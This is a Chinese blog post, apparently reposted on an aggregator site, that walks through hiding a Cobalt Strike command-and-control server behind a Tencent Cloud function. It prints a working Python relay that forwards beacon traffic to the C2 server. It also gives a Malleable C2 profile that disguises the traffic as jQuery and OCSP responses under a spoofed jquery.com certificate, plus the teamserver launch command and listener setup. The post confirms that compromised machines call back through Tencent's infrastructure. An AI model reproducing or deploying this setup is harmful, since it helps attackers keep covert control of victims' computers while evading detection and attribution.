云函数隐藏c2服务器
Posted asdasd12313wqe
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了云函数隐藏c2服务器相关的知识,希望对你有一定的参考价值。
云函数隐藏C2服务器 (有手就能配置)
0x01 前言
自己踩到的坑点主要就是
1、上线地址要去掉http://和:80
基于CS,隐藏C2服务器的手法有很多,常见如下:
- 域前置
- CDN
- 第三方代理软件(heroku)
- 云函数
记录一下利用腾讯云的云函数隐藏C2服务器。
壁画不多说直接开始…
0x02环境配置
需要准备:
- 注册腾讯云账号
- vps一台
- cs(我用的4.3)
1、登陆腾讯云控制台,输入云函数
2、新建函数服务
3、函数名称随意,选择从头开始,环境填Python3.6,选完后下拉,把代码搞里头。
4、打码的地方填vps的地址(代码在下面),填完点完成,后会弹出一个提示框点击 留在此页面
C2地址的地方少掉了一个单引号,当时测试的时候也是一直不上线,最后排查的时候找到了。
- 云函数的Python代码
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response=
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
return response
5、点击触发管理,创建触发器
6、配置如下,点击提交
7、点击api服务名
8、点击编辑后到达此页面,路径修改为/ ,点击下一步
9、配置如下 点击完成 后点击 发布服务
10、配置cs的profile文件
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
https-certificate
set keystore "cobaltStrike.store"; //生成的cs证书名
set password "123456"; //自己设置的密码
## Option 3) Cobalt Strike Self-Signed Certificate
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
http-get
set uri "/api/getit";
client
header "Accept" "*/*";
metadata
base64;
prepend "SESSIONID=";
header "Cookie";
server
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output
base64;
print;
http-stager
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
http-post
set uri "/api/postit";
client
header "Accept" "*/*";
id
base64;
prepend "JSESSION=";
header "Cookie";
output
base64;
print;
server
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output
base64;
print;
11、开启cs teamserver ./teamserver vpsip password c2.profile
12、上线地址 需要去掉http:// 和 :80
取service-miuk9icj-1309081727.bj.apigw.tencentcs.com
13、创建监听
14、上线成功
可以看到上线的地址就是腾讯云,成功隐藏c2服务器。配置完后可以自己wireshark抓包看一下被控机器是否再跟腾讯云的ip地址通信。
0x03 总结
借鉴一下大佬的原理
- 云函数隐藏C2原理
马 -> 腾讯云函数api -> py函数 -> CS服务端
CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)
0x04 help!!
之前尝试域前置,用cloudflare的cdn做,只做成功HTTP的,隐藏自己的C2服务器,想做https的但最后就是不能上线,不知道为啥,有知道的大佬可以告诉我一下,谢谢谢谢!
参考文章:https://xz.aliyun.com/t/10764#toc-3
以上是关于云函数隐藏c2服务器的主要内容,如果未能解决你的问题,请参考以下文章
隐藏你的C2(使用域前置技术隐藏C2服务器,以及使用iptables策略来保护服务器)
Domain Borrowing: 一种基于CDN的新型隐蔽通信方法(全程干货!)